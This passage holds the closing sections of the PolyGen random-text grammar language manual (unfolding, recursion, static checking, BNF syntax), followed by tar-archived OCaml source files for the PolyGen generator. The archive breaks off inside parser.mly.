Keep in mind that the permutability of a subproduction only holds within the sequence containing it: no permutation occurs if permutable subproductions are specified in different subsequences (or subprodutions - permutable or not). See the difference in the two example that follow:

EXAMPLE

S ::= {in 10 minutes}^, {at 3 o'clock}^, {"I" {will depart} {alone}} ;

PRODUCES


in 10 minutes, at 3 o'clock, I will depart alone
at 3 o'clock, in 10 minutes, I will depart alone
in 10 minutes, I will depart alone, at 3 o'clock
at 3 o'clock, I will depart alone, in 10 minutes
I will depart alone, in 10 minutes, at 3 o'clock
I will depart alone, at 3 o'clock, in 10 minutes
in 10 minutes, at 3 o'clock, I alone will depart
at 3 o'clock, in 10 minutes, I alone will depart
in 10 minutes, I alone will depart, at 3 o'clock
at 3 o'clock, I alone will depart, in 10 minutes
I alone will depart, in 10 minutes, at 3 o'clock
I alone will depart, at 3 o'clock, in 10 minutes


EXAMPLE

S ::= {in 10 minutes}^, {at 3 o'clock}^, ("I" {will depart} {alone}) ;

PRODUCES


in 10 minutes, at 3 o'clock, I will depart alone
at 3 o'clock, in 10 minutes, I will depart alone
in 10 minutes, at 3 o'clock, I alone will depart
at 3 o'clock, in 10 minutes, I alone will depart


2.0.8 Deep unfolding

The language allows the deep unfolding of a subproduction specified in reverse-doubleangle brackets >> and <<: any atom, however nested, for which the unfolding operation makes sense (see section 2.0.4) is unfolded. As a result, the complete flattening of every subproduction and non-terminal symbol is done:

EXAMPLE

S ::= look at >> the (dog | (sorian | persiancat)
               |(cow | bull | Animal)
              << ;


Animal
::= pig | (weird | ugly) chicken ;



The non-terminal S is translated into:

S ::= look at ( the dog
           
  | the sorian cat
              | the persian cat
              | a cow
           
  | a bull
           
  | a pig
              | a (weird | ugly) chicken
              ) ;


Deeply unfolded subproductions are therefore translated into a subproduction with everything has been recursively flattened in; exceptions are subproductions bound to non-terminal symbols. The reason of this behaviour is dued to deep unfolding being an operation which actually performs a simple unfolding of every (sub)atom for which such operation makes sense: thus, while non-terminals are unfolded, productions bound to them are left untouched. Even though such a policy may seem unjustified at first, it rather allows the user to specify any non-terminal symbol within a reverse-doubleangle subproduction without unintentionally generating either a huge series of unfoldings or - even worse - cyclic unfoldings (see section 3.0.1.3).



2.0.9 Folding

Deep unfolding, as described in section 2.0.8, may sometimes not be what one wishes: on one hand, it would realistically be mostly used to avoid the explicit specification of a > operator for every subproduction or non-terminal symbol within a given subproduction; on the other hand, it still is sometimes impossible to perform a deep unfolding of every (sub)atom without generating (unintentional) errors. The PolyGen grammar definition language allows therefore the user to lock the unfolding (of an atom for which such operation would make sense) by means of the prefix operator <.

EXAMPLE

S ::= look at >> the (dog | <(sorian | persiancat)
               |(cow | bull | <Animal)
              << ;


Animal
::= pig | (weird | ugly) chicken ;


where the non-terminal S is translated into:

S ::= look at ( the dog
           
  | the (sorian | persian) cat
              | a cow
           
  | a bull
           
  | Animal
              ) ;

Keep in mind that folding an unfolded atom and viceversa are syntax errors - see section 4.1.1.





2.1 Advanced techniques

2.1.1 Recursion

It is perfectly legal for you to specify in a production the non-terminal symbol you're defining, in order to make PolyGen recur:

EXAMPLE

S ::= Digit [^ S] ;

Digit ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ;


PRODUCES

0
23
853211
000000
00011122335

etc.


i.e. any natural number made up by a random number of digits randomly chosen between 0 and 9.
Keep in mind then that it is up to you providing a non-recursive production somewhere in order to let the program stop recurring sooner or later, otherwise a cyclic recursion error will be generated by the grammar checker (see section 3.0.1.2).

As an exercize, try to define a grammar for generating variably-lengthened sentences obtained by recursively linking clauses.



2.1.2 Grouping

In order to gain control over the probability distribution in even a more flexible way than how described in sections 2.0.3 and 2.0.4, proper usage of round brakets should be considered:

EXAMPLE

S1 ::= canarin | cow | camel ;

S2 ::= canarin | (cow | camel) ;


PRODUCES

canarin
cow
camel


Although S1 and S2 outputs are equal, the probability distribution for the former is:

cat
1/3
cow
1/3
camel 1/3


while for the latter:

cat 1/2
cow 1/2 * 1/2 = 1/4
camel 1/2 * 1/2 = 1/4


All this because the subproduction (cow | camel) is interpreted someway as a whole block by the program.



2.1.3 Controlling the probability of an optional subproduction

The grammar definition language interpreted by PolyGen does not allow any control over the probability for an optional subproduction to occur. In other words, there is no plus- or minus-like operator for subproductions in square brackets.
Nevertheless there exists a simple technique to get this result:

EXAMPLE

S ::= a (+ _ | beautiful) house ;


PRODUCE

a house
a beautiful house


Being an optional subproduction equivalent to a non-optional one generating either a given output or epsilon (see section 2.0.2), it is possible to make this translation by hand and eventually put plus and minus operators.
In the former example, the probability for nothing to be produced is greater than the probability for beautiful.



2.1.4 Selection reset

Keep in mind that the selection operator adds the specified label to the set of already active ones; this leads to the need to someway manually reset such set. For instance, let generate natural numbers (included zero) of arbitrary length without any non-significative zero:

EXAMPLE

S ::= Digit | S.nz [^ S.] ;

Digit ::= z: 0 | nz: {
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9} ;


PRODUCES

0
1
23
23081993
112358
20020723

ecc.

The dot operator followed by no label resets the set of active selections at the time it is encountered during generation; in other words, it stops propagation of labels selected that far.



3.0 Static checking of grammars

PolyGen features a powerful algorithm performing a static checking of a source file: it is therefore able to verify the correctness of a whole grammar in finite time despite its complexity.
A grammar source succeding the checking phase is guaranteed to always generate a valid output - as kind of a soundness.
Thus, since the checking phase always precedes generation, if the program outputs with no error messages, then the grammar is entirely correct.

Where specified within the message generated by the program, warnings and errors refer to a source text file area between two pairs of coordinates showing a line number and a column number.


3.0.1 Errors

Errors are classified as cases that break the grammar correctness definition.
An error halts the program execution.

3.0.1.1 Undefined non-terminal symbols

Each non-terminal symbol appearing in the right-hand of a definition is checked for actually existence in order to avoid usage of non-terminal symbols that have not been defined.

EXAMPLE

S ::= A | B ;
A ::= a ;


Such grammar generates an error message, since B is not defined.


3.0.1.2 Cyclic recursions and non-termination

The checking algorithm is able to verify each non-terminal symbol to possibly produce an output, i.e. - in other words - that the generation will actually terminate without an infinite recursion.

EXAMPLE

S ::= S | A ;
A ::= B ;
B ::= S | A ;



This grammar could never produce any output, since generation, despite any starting non-terminal symbol, would loop forever.
Other, more tricky, cases may lead to such a subcycle - kind of a circuit:

S ::= a | A ;
A ::= B ;
B ::= A ;



Although here generation may not lead to a cyclic recursion thanks to the terminal a, it is still possible for a non-terminating path to be entered: such cases are therefore signaled by an error message too.


3.0.1.3 Recursive unfoldings

You're not allowed to prefix the unfolding operator > (see section 2.0.4.1) to a non-terminal symbol that would cause a cyclic recursion.

EXAMPLE

S ::= >A ;
A ::= >B ;
B ::= >S ;



Such grammar would lead to an unfolding loop that would expand it infinitely and it therefore generates an error message.


3.0.1.4 Epsilon-productions

A grammar may satisfy the termination clause thanks to an epsilon-production (see section 2.0.2). In such case the grammar is considered to be correct, still it possibly produces an empty output.

EXAMPLE

S ::= A.3 ;

A ::= 1: a | 2: b ;


PRODUCES

_


A destructive selection is not an error itself, since in some situations it might be exactly one's will (see section 3.0.2.2); nevertheless all cases where generation would lead to just epsilon-productions are notified by an error message.


3.0.1.5 Overriding of non-terminal symbols

A grammar is verified to not define the same non-terminal symbol more than once.

EXAMPLE

A ::= apple | orange | banana ;

A
::= mandarin | melon ;


Such grammar leads to an error since A is defined twice.


3.0.1.6 Illegal character

Properly an error generated by the lexer in case a character not belonging to any known token (i.e. not defined by the lexical rules in section 4.1.3) has been detected during the syntactical analisis phase of a source file.



3.0.1.7 Unexpected token

An error generated by the parser in case a valid token in a wrong position has been detected during the syntactical analisis phase of a source file, leading to the breaking of the syntactical rules in section 4.1.1.




3.0.2 Warnings

Warnings are classified as cases that do not break the grammar correctness definition, still they may lead to unexpected results.
Warning messages thus mean not the grammar source to be uncorrect, indeed not robust.
A warning does not halt the program execution.

Warnings are divided into levels, depending on their gravity: the lower a level, the more urgent the warnings grouped within; level 0 contains warnings that cannot be ignored (still not being dangerous for the generation).

3.0.2.0 Level 0

There exists no warning within this group, by now.

3.0.2.1 Level 1

3.0.2.1 Undefined symbol I

The lack of definition for the non-terminal symbol I does not allow the usage of the program -info option.
Such symbol typically specifies an information string for the grammar (its author, title, etc.) and it is a good habit to follow such convention by properly defining it, though it is actually not an error to omitt it.

3.0.2.2 Potential epsilon-productions

There exist cases of a grammar not always generating an epsilon (see section 3.0.1.4), but just possibly.

EXAMPLE

S ::= A.3 | c ;

A ::= 1: a | 2: b ;



PRODUCES

c
_


Such case are not errors and are notified by a warning message.


3.0.2.1 Level 2

3.0.2.3 Useless permutation

In case only one permutable subproduction appears within a sequence (see section 2.0.7), no permutation is actually performed for obvious reasons.

EXAMPLE

S ::= a {b} c ;


Though such case actually is not an error, just a low-gravity warning message is output.


3.0.2.2.2 Potential cyclic recursion

Recursion is rather a powerful and useful tool, probably quite frequently used in complex grammars. Though all non-termination cases caused by a abuse of recursion are trapped by the grammar checker (see section 3.0.1.2), on the other hand, formally legal recursions may be enough tangled to  slow generation down for a sensible amount.
Every single recursion case may therefore be signaled a low-gravity warning, somehow in order to aid the user at localizing unwanted recursions.



4.0 Appendix


4.1.1 Concrete syntax

Type-2 syntax (in BNF notation) of the grammar definition language interpreted by PolyGen and described in this document follows below.
Non-terminal symbols bound to productions are capitalized; non-terminal symbols bound to regular expressions begin with a capital letter (see section 4.1.3); terminal symbols are quoted; S is the starting non-terminal symbol.


S      ::= DEF
        |  DEF S

DEF    ::= Nonterm "::=" PRODS ";"

PRODS  ::= PROD
        |  PROD "|" PRODS

PROD   ::= SEQ
        |  MODIF SEQ

MODIF  ::= "+"
        |  "-"
        |  "+" MODIF
        |  "-" MODIF

LABELS ::= LABEL
        |  LABEL "|" LABELS

LABEL  ::= Label
        |  MODIF Label

SEQ    ::= ATOMS
        |  Label ":" ATOMS

ATOMS  ::= ATOM
        |  ATOM ATOMS

ATOM   ::= Term
        |  "^"
        |  "_"
        |  "\"
        | UNFOLDABLE
        |  ">" UNFOLDABLE
        |  "<" UNFOLDABLE
        |  ATOM "."
        |  ATOM DotLabel
        |  ATOM ".(" LABELS ")"


UNFOLDABLE ::= Nonterm
       
|      "(" PRODS ")"
        |      "[" PRODS "]"
        |      "{" PRODS "}"
        |      ">>" PRODS "<<"




4.1.2 Abstract syntax

For the sake of completeness, the abstract syntax of the language interpreted by PolyGen follows cleared from syntactical sugars and terms involved in preprocessing only.


S      ::= DEF
        |  DEF S

DEF    ::= Nonterm "::=" PRODS ";"

PRODS  ::= SEQ
        |  SEQ "|" PRODS

SEQ    ::= ATOMS
        |  Label ":" ATOMS

ATOMS  ::= ATOM
        |  ATOM ATOMS

ATOM   ::= Nonterm
        |  Term
        |  "^"
        |  "_"
        |  "(" PRODS ")"
        |  ATOM "."
        |  ATOM DotLabel




4.1.3 Lexical rules

Type-3 lexical rules (in regular expression notation) follow.


Term     ::= [a-z 0-9 , '][a-z A-Z 0-9 , ']*
          |  " [A-Z a-z 0-9 ( ) _ - ? . , ! : \ & # + * / % $ � [ ] { } ~ @ ; : | < > = ^ ' \ "]* "

Nonterm  ::= [A-Z][A-Z a-z 0-9 _]*

Label    ::= [A-Z a-z 0-9 _]+

DotLabel ::= . Label


Notice that the white space character can be quoted as a terminal symbol too.



4.1.4 Escape sequences

Regular expression Nonterm in section 4.1.3 recognizes the backslash character within quotes. A terminal symbol is therefore allowed to contain any escape sequence among the following:


\\ backslash
\" quote
\n new line
\r carriage return
\b backspace
\t tab
\xyz ASCII decimal code xyz




4.1.5 Translation rules

As a formal reference, translation rules from concrete syntax to abstract syntax together with proper precedence (where the least number stands for the highest priority) follow. They therefore refer to the operations performed by either the parser (in case of syntactical sugars) or the preprocessor (otherwise).



concrete syntax
abstract syntax

1
A.(+(a1)-(b1)l1|...|+(an)-(bn)ln)
(A.l1 |(1) ... |(w1) A.l1 | ... | A.ln |(1) ... |(wn) A.ln)

where wi = ai - bi - min {a1-b1 ... an-bn}

2
+(a1)-(b1) P1 | ... |+(an)-(bn) Pn
P1 |(1) ... |(w1) P1 | ... | Pn |(1) ... |(wn) Pn

where wi = ai - bi - min {a1-b1 ... an-bn}
3
[P]
(_ | (P))

4
>> P <<
(P')

where P' is isomorph to P where unfoldable atoms are unfolded



5
P1 | ... | A1 {Q1}.l1 ... An {Qn}.ln | ... | Pn
P1 | ... | A1 (Q11).l1 ... An (Q1n).ln
   
| ... | A1 (Qn!n).l1 ... An (Qn!n).ln | ... | Pn

where Qji is the i-th element of the j-th permutation
of
Q1..Qn(with i = 1..n, j = 1..n!)

6
P1 | ... | L: A >(Q1 | ... | Qm).l| ... | Pn
P1 | ... | L: A (Q1).l| ... | L: A (Qm).l| ... | Pn

6
P1 | ... | L: A >X.l| ... | Pn

where X ::= Q1 | ... | Qm
P1 | ... | L: A (Q1).l| ... | L: A (Qm).l| ... | Pn


Where the following notational conventions hold:


P, Q productions or series of productions
A, B atoms o atom (sub)sequences
L, l labels
X, Y
non-terminali symbols
+(n)-(m) juxtaposition of n and m, respectively, + and - operators
P |(1) ... |(n) P n-lengthened series of productions P











polygen-1.0.6.ds2/src/0000755000175000017500000000000010340430663013770 5ustar enricoenricopolygen-1.0.6.ds2/src/io.ml0000644000175000017500000000505510340427442014737 0ustar enricoenrico(* * Polygen * io.ml: I/O functions * * Alvise Spano' (2002) *) open List open Prelude open Prelude open Lexer open Parser open Err open Absyn module A = Absyn0 (* load/store compiled grammar *) let __obj = ".o" type 'a obj = { sum : string; data : 'a } let sum = Ver.ver let make_obj data = { sum = sum; data = data } let check_obj obj = if obj.sum = sum then () else raise (Failure "incompatible compiled grammar object file format") let load_obj source = let file = source ^ __obj in let _ = try Unix.access file [Unix.F_OK] with _ -> raise (Failure ("compiled grammar object file \"" ^ file ^ "\" does not exist")) in try let _ = if (Unix.stat file).Unix.st_mtime < (Unix.stat source).Unix.st_mtime then raise (Failure ("compiled grammar \"" ^ file ^ "\" is older than source grammar")) else () in let ic = open_in_bin file in let obj = (Marshal.from_channel ic : 'a obj) in let _ = check_obj obj; close_in ic in obj.data with Unix.Unix_error (e, _, _) -> io_error ("cannot read file: " ^ (Unix.error_message e)) | Sys_error s -> io_error ("cannot read file: " ^ s) let store_obj source (data : 'a) = let file = source ^ __obj in try let tmp = Printf.sprintf "%s.%d" file (Unix.getpid ()) in let oc = open_out_gen [Open_wronly; Open_binary; Open_creat; Open_trunc] 0o600 tmp in let obj = make_obj data in Marshal.to_channel oc obj []; close_out oc; Unix.chmod tmp 0o666; Unix.rename tmp file with Unix.Unix_error (e, _, _) -> io_error ("cannot write file: " ^ (Unix.error_message e)) | Sys_error s -> io_error ("cannot write file: " ^ s) (* load grammar source *) let load_decls file = try let _ = jump file in let ic = open_in file in let lexbuf = Lexing.from_channel ic in try let decls = Parser.source Lexer.token lexbuf in let _ = close_in ic in let _ = jump_back () in decls with Failure s -> syntax_error file lexbuf s | Parsing.Parse_error -> let s = String.escaped (Lexing.lexeme lexbuf) in syntax_error file lexbuf ("unexpected " ^ (if s = "" then "empty token" else "token \"" ^ s ^ "\"")) with Sys_error s -> io_error ("cannot parse from file \"" ^ s ^ "\"") (* ugly workaround for Parser <-> Io mutual recursion *) let _ = Fake.load_decls := load_decls polygen-1.0.6.ds2/src/.depend0000644000175000017500000000000010340427442015217 0ustar enricoenricopolygen-1.0.6.ds2/src/DATE0000644000175000017500000000001110340417034014415 0ustar enricoenrico20040628 polygen-1.0.6.ds2/src/makefile0000644000175000017500000000311510340427442015471 0ustar enricoenrico# # PolyGen # src-level makefile # # Alvise Spano' (2002-03) # NAME := polygen VERSION := $(shell cat parser.mli @cat <_parser.mli >>parser.mli @rm -f _parser.mli ver.ml: ver.ml.template sed -e "s/%VERSION%/$(VERSION)/" -e "s/%DATE%/$(DATE)/" ver.ml.template >ver.ml clean: rm -f *.o *.cm* a.out *.bak *.obj *~ *.annot *.stackdump parser.ml lexer.ml parser.mli ver.ml cat .depend distclean: clean rm -f $(NAME) $(NAME).exe .depend: parser.mli $(MLDEP) $(SRCS) parser.mli >.depend include .depend polygen-1.0.6.ds2/src/fake.ml0000644000175000017500000000033410340417034015225 0ustar enricoenrico(* * Polygen * fake.ml: fakes dued to system lacks * * Alvise Spano' (2003) *) (* ugly workaround for Parser <-> Io mutual recursion *) let load_decls : (string -> Absyn.Absyn0.decl list) ref = ref (fun x -> []) polygen-1.0.6.ds2/src/ver.ml.template0000644000175000017500000000016610340417034016730 0ustar enricoenrico(* * Polygen * ver.ml: version * * Alvise Spano' (2003) *) let ver = "%VERSION%" let date = "%DATE%" polygen-1.0.6.ds2/src/prelude.ml0000644000175000017500000000717710340417034015773 0ustar enricoenrico(* * Polygen * prelude.ml: misc stuff * * Alvise Spano' (2002) *) module Prelude = struct (* global exceptions *) exception Unexpected of string (* either parametric type *) type ('a, 'b) either = Former of 'a | Latter of 'b let is_former e = match e with Former _ -> true | _ -> false let is_latter e = not (is_former e) let surely_former e = match e with Former x -> x | _ -> raise (Unexpected "prelude.ml: surely_former") let surely_latter e = match e with Latter x -> x | _ -> raise (Unexpected "prelude.ml: surely_latter") (* type for symbols *) type symbol = string (* side-effect the latter and return the former *) let before a b = b; a (* function composition *) let ($) f g x = f (g x) (* check whether an element occurs in a list *) let occurs l x = List.exists ((=) x) l (* check whether two lists are disjoint *) let disjoint (=) l1 l2 = List.for_all (fun x -> not (List.exists ((=) x) l1)) l2 (* link strings within a list interleaving with a space char *) let rec flatten_strings spc l = match l with [] -> "" | s :: [] -> s | s :: l' -> s ^ spc ^ (flatten_strings spc l') let mappen_strings f spc l = flatten_strings spc (List.map f l) (* assoc on lists/arrays raising Unexpected *) let surely_assoc x l = try List.assoc x l with Not_found -> raise (Unexpected "prelude.ml: surely_assoc") (* functorial cache *) module type CacheKey = sig type t val (=) : t -> t -> bool end module Cache : functor (Key : CacheKey) -> sig type 'v t val init : unit -> 'v t val load : 'v t -> Key.t -> 'v Lazy.t -> 'v end = functor (Key : CacheKey) -> struct module HashKey : Hashtbl.HashedType with type t = Key.t = struct type t = Key.t let equal = Key.(=) let hash = Hashtbl.hash end module Tbl = Hashtbl.Make (HashKey) type 'v t = 'v option Tbl.t let init () = Tbl.create 100 let load tbl x suspension = try match Tbl.find tbl x with None -> Lazy.force suspension | Some y -> y with Not_found -> let _ = Tbl.add tbl x None in let y = Lazy.force suspension in let _ = Tbl.replace tbl x (Some y) in y end (* label set *) module Label : Set.OrderedType with type t = symbol = struct type t = symbol let compare lb1 lb2 = compare lb1 lb2 end module LabelSet = struct include Set.Make (Label) let of_labels labels = List.fold_left (fun lbs lb -> add lb lbs) empty labels let occurs = mem let pretty lbs = "{" ^ (flatten_strings ", " (elements lbs)) ^ "}" end (* mapfst & mapsnd *) let mapfst f (a, b) = (f a, b) let mapsnd f (a, b) = (a, f b) (* extract Some of an option *) let surely_some o = match o with Some x -> x | None -> raise (Unexpected "prelude.ml: surely_some") (* return tail segment of list l after the first verification of predicate p *) let tail_segment p l = let rec recur r = function [] -> [] | x :: xs -> let r' = x :: r in if p x then r' else recur r' xs in recur [] l (* tabulate a list *) let rec tab f n = if n = 0 then [] else let n = n - 1 in (f n) :: tab f n end polygen-1.0.6.ds2/src/test.grm0000644000175000017500000000012610340417034015452 0ustar enricoenrico I ::= test ; S ::= (X ::= y; >Fx) (X ::= x; >Fx) ; Fx ::= ciao >X ; X ::= dummy ; polygen-1.0.6.ds2/src/lexer.mll0000644000175000017500000000551410340417034015617 0ustar enricoenrico(* * Polygen * lexer.mll: lexer definition for Lex * * Alvise Spano' (2002) *) { open Parser open Parser } rule quote = parse '"' { "" } | "\\\"" { "\"" ^ (quote lexbuf) } | "\\\\" { "\\" ^ (quote lexbuf) } | "\\n" { "\n" ^ (quote lexbuf) } | "\\r" { "\r" ^ (quote lexbuf) } | "\\b" { "\b" ^ (quote lexbuf) } | "\\t" { "\t" ^ (quote lexbuf) } | '\\' ['0'-'9'] ['0'-'9'] ['0'-'9'] { let s = String.sub (Lexing.lexeme lexbuf) 1 3 in let c = String.make 1 (char_of_int (int_of_string s)) in c ^ (quote lexbuf) } | ['a'-'z' 'A'-'Z' '0'-'9' '!' '£' '$' '%' '&' '/' '(' ')' '=' '?' '^' '\'' '[' ']' '*' '+' '@' '#' '<' '>' ',' '.' '-' ';' ':' '_' '{' '}' '`' '~' '|' ' '] { let s = Lexing.lexeme lexbuf in s ^ (quote lexbuf) } | _ { raise (Failure ("illegal character '" ^ (String.escaped (Lexing.lexeme lexbuf)) ^ "' within quote")) } and comment = parse "*)" { token lexbuf } | "(*" { comment lexbuf } | '\n' | "\r\n" { Err.next_line lexbuf; comment lexbuf } | _ { comment lexbuf } and token = parse [' ' '\t'] { token lexbuf } (* skip blanks *) | "(*" { comment lexbuf } (* skip comments *) | '\n' | "\r\n" { Err.next_line lexbuf; token lexbuf } | ';' { EOL } | ':' { COLON } | '(' { BRA } | ')' { KET } | '[' { SQBRA } | ']' { SQKET } | "::=" { DEF } | ":=" { ASSIGN } | '|' { PIPE } | '>' { GT } | ">>" { GTGT } | '<' { LT } | "<<" { LTLT } | '{' { CBRA } | '}' { CKET } | '*' { STAR } | '+' { PLUS } | '-' { MINUS } | '^' { CAP } | '_' { UNDERSCORE } | '.' { DOT } | ',' { COMMA } | ".(" { DOTBRA } | '"' { QUOTE (quote lexbuf) } | '\\' { BACKSLASH } | "import" { IMPORT } | "as" { AS } | '/' { SLASH } | ['a'-'z' '0'-'9' '\''] ['a'-'z' 'A'-'Z' '0'-'9' '\'']* { TERM (Lexing.lexeme lexbuf) } | ['A'-'Z'] ['a'-'z' 'A'-'Z' '0'-'9']* { NONTERM (Lexing.lexeme lexbuf) } | '.' ['a'-'z' 'A'-'Z' '0'-'9']+ { let s = Lexing.lexeme lexbuf in DOTLABEL (String.sub s 1 (String.length s - 1)) } | eof { EOF } | _ { raise (Failure ("illegal character '" ^ (String.escaped (Lexing.lexeme lexbuf)) ^ "'")) } polygen-1.0.6.ds2/src/load.mli0000644000175000017500000000007110340417034015405 0ustar enricoenrico open Absyn val load_decls : string -> Absyn0.decl list polygen-1.0.6.ds2/src/err.ml0000644000175000017500000000460310340417034015112 0ustar enricoenrico(* * Polygen * err.ml: error handlers * * Alvise Spano' (2002-03) *) open Printf open List (* error locations *) type loc = string * int * int * int * int type jump = {file: string; lines: int list ref} let jumps : jump Stack.t = Stack.create () let jump file = Stack.push {file = file; lines = ref [0]} jumps let jump_back () = ignore (Stack.pop jumps) let next_line lexbuf = let lines = (Stack.top jumps).lines in lines := (Lexing.lexeme_end lexbuf) :: !lines let localize (s, e) = let j = Stack.top jumps in let clip x = let lines' = filter (fun y -> y <= x) !(j.lines) in let base = hd lines' in (length lines', x - base) in let (ls, cs) = clip s in let (le, ce) = clip e in (j.file, ls, cs, le, ce) (* errors *) let max_warning_level = 3 let warning_level = ref 1 let uwarning lv s = if lv <= !warning_level then eprintf "warning: %s\n" s else () let uerror s = eprintf "error: %s\n" s; exit 1 let localized_prompt s (file, ls, cs, le, ce) = let locs = match (ls = le, cs = ce) with (true, true) -> sprintf "at line %d, col %d" ls cs | (true, false) -> sprintf "at line %d, col %d-%d" ls cs ce | _ -> sprintf "from line %d, col %d to line %d, col %d" ls cs le ce in sprintf "%s: %s %s" file s locs let localized_msg (file, ls, cs, le, ce) = let locs = match (ls = le, cs = ce) with (true, true) -> sprintf "at line %d, col %d" ls cs | (true, false) -> sprintf "at line %d, col %d-%d" ls cs ce | _ -> sprintf "from line %d, col %d to line %d, col %d" ls cs le ce in "in file " ^ file ^ " " ^ locs let error loc s = uerror (localized_prompt s loc) let warning lv loc s = uwarning lv (localized_prompt s loc) let info (file, _, _, _, _) s = printf "%s: %s\n" file s let merror loc s ss = error loc s; iter (fun s -> eprintf " %s\n" s) ss let mwarning lv loc s ss = warning lv loc s; iter (fun s -> eprintf " %s\n" s) ss let minfo ((file, _, _, _, _) as loc) s ss = let tab = String.make (String.length file + 2) ' ' in info loc s; iter (fun s -> printf "%s%s\n" tab s) ss let syntax_error file lexbuf s = error (localize (Lexing.lexeme_start lexbuf, Lexing.lexeme_end lexbuf)) s let io_error s = uerror s let arg_error s = uerror s polygen-1.0.6.ds2/src/env.ml0000644000175000017500000000102010340417034015100 0ustar enricoenrico(* * Polygen * env.ml: environment * * Alvise Spano' (2002) *) open Prelude open Prelude open Absyn module Env = struct type 'a t = (symbol * 'a) list let empty : 'a t = [] let bind (env : 'a t) xs = xs @ env let lookup (env : 'a t) = function Path ([], sym) -> List.assoc sym env | Path (_, _) -> raise (Unexpected "env.ml: lookup") (*let find (env : 'a t) f x = let sym = fst (List.find (fun (_, x') -> x = f x') env) in Path ([], sym)*) end polygen-1.0.6.ds2/src/pre.ml0000644000175000017500000001237210340417034015112 0ustar enricoenrico(* * Polygen * pre.ml: preprocessor * * Alvise Spano' (2002) *) open Absyn open List open Prelude open Prelude open Env open Lazy module Pre = struct module A = Absyn0 module B = Absyn1 (* generate all combos of the elements of a list of lists *) let rec comb ll = match ll with [] -> [] | [xs] -> map (fun x -> [x]) xs | xs::lls -> let ll' = comb lls in flatten (map (fun x -> map (fun l -> x::l) ll') xs) (* permutator *) let rec permute l = match l with [] -> [] | [x] -> [[x]] | _ -> let perm h x t = map (fun l -> x::l) (permute (h @ t)) in let rec expl l h = match l with [] -> [] | x::xs -> expl xs (x::h) @ perm h x xs in expl l [] let arrange mseq = let rec proj mseq mseq' = match mseq with [] -> [] | (Former _) :: l -> surely_former (hd mseq') :: (proj l (tl mseq')) | (Latter a) :: l -> a :: (proj l mseq') in match permute (filter is_former mseq) with [] -> [proj mseq []] | mseqs' -> map (proj mseq) mseqs' (* preprocessor * * NOTE: Former denotes mobile atoms * Latter denotes fixed atoms *) (*type bound = RecClosure of bound Env.t * (symbol * A.prod) list*) let pre decls = let rec declare env decls = let f (decl, _) = match decl with A.Bind (_, sym, p) -> (sym, p) | A.Import _ -> raise (Unexpected "import not supported") (*in let rc = RecClosure (env, map f decls) in let f (decl, _) = match decl with A.Bind (_, sym, _) -> (sym, rc) | A.Import _ -> raise (Unexpected "import not supported")*) in Env.bind env (map f decls) and pre_atom env (a, _) = match a with A.Terminal A.Epsilon -> [Latter (B.Terminal B.Epsilon)] | A.Terminal A.Concat -> [Latter (B.Terminal B.Concat)] | A.Terminal A.Capitalize -> [Latter (B.Terminal B.Capitalize)] | A.Terminal (A.Term sym) -> [Latter (B.Terminal (B.Term sym))] | A.Sel (a', lbo) -> let f ma = match ma with Former a -> Former (B.Sel (a, lbo)) | Latter a -> Latter (B.Sel (a, lbo)) in map f (pre_atom env a') | A.Lock u | A.Fold u -> (match u with A.NonTerm path -> [Latter (B.NonTerm path)] | A.Sub (m, decls, p) -> let env' = declare env decls in let sub' = B.Sub (pre_decls env' decls, pre_prod env' p) in (match m with A.Mob -> [Former sub'] | A.Std -> [Latter sub'])) | A.Unfold u -> (match u with A.NonTerm path -> (*let RecClosure (env', bs) = Env.lookup env path in let env = let f (sym, p) = (sym, RecClosure (env, bs)) in Env.bind env' (map (fun (sym, p) -> (sym, Rec in let B.Prod seqs = pre_prod env p*) let B.Prod seqs = pre_prod env (Env.lookup env path) in map (fun seq -> Latter (B.Sub ([], B.Prod [seq]))) seqs | A.Sub (m, decls, p) -> let env' = declare env decls in let sub' seq = B.Sub (pre_decls env' decls, B.Prod [seq]) in let B.Prod seqs = pre_prod env' p in (match m with A.Mob -> map (fun seq -> Former (sub' seq)) seqs | A.Std -> map (fun seq -> Latter (sub' seq)) seqs)) and pre_seq env (A.Seq (lbo, atoms), _) = let mseqs = comb (map (pre_atom env) atoms) in let new_seqs lbo seqs = map (fun seq -> B.Seq (lbo, seq, ref 0)) seqs in let seqs = map (fun mseq -> [B.Sub ([], B.Prod (new_seqs None (arrange mseq)))]) mseqs in new_seqs lbo seqs and pre_prod env (A.Prod seqs, _) = B.Prod (flatten (map (pre_seq env) seqs)) and pre_decls env decls = let f (decl, _) = match decl with A.Bind (A.Def, sym, p) -> B.Bind (B.Def, sym, pre_prod env p) | A.Bind (A.Assign, sym, p) -> B.Bind (B.Assign, sym, pre_prod env p) | A.Import _ -> raise (Unexpected "pre.ml: pre_decl") in map f decls in pre_decls (declare Env.empty decls) decls end polygen-1.0.6.ds2/src/README0000644000175000017500000000334310340417034014650 0ustar enricoenrico PolyGen: building instructions ------------------------------ Index ----- 1.0 Requirements 1.0.1 Portability 2.0 Building 2.1 w/ GNU make 2.2 w/o GNU make 1.0 Requirements ---------------- PolyGen is written in Objective Caml, a highly efficient dialect of the functional language ML - a serious language with a serious paradigm for serious programmers. Thus, in order to compile it by yourself, you need the following: - OCaml bytecode (ocamlc) or native code (ocamlopt) compiler - OCaml lexer (ocamllex) and parser (ocamlyacc) generators - (optional) GNU make or compatible You can get an OCaml distribution at http://caml.inria.fr website. The GNU make is recommended in order to let the makefile do all the building jobs instead of compiling every source file and linking by hand, but not required. You can get it at http://www.gnu.org/software/make. 1.0.1 Portability ----------------- OCaml is a platform-independent language, since its standard library abstracts from the underlying operating system. PolyGen uses just few I/O functions, all the rest being pure owner code: it is therefore 100% portable to any platform supported by an (even poor) OCaml implementation. 2.0 Building ------------ 2.1 w/ GNU make --------------- Simply 'cd' to the src directory and run 'make' with no arguments. An executable file will be created in the parent directory together with a soft link to it from the current directory. 2.2 w/o GNU make ---------------- For those users who do have a working OCaml compiler but have no GNU make, in case your system supports shell scripts, you may write a makefile-like batch; otherwise you can always perform all the required compilation steps by hand and get an executable file at last. polygen-1.0.6.ds2/src/parser.mly0000644000175000017500000001526110340417034016011 0ustar enricoenrico/* * Polygen * parser.mly: parser definition for Yacc * * Alvise Spano' (2002-03) */ %{ open Absyn open Absyn.Absyn0 open List open Prelude open Prelude open Parsing let load_decls = ! Fake.load_decls (* localize *) let localizes n m = Err.localize (rhs_start n, rhs_end m) let localize n = localizes n n (* reserved symbol *) let reserved_sym = "__R" 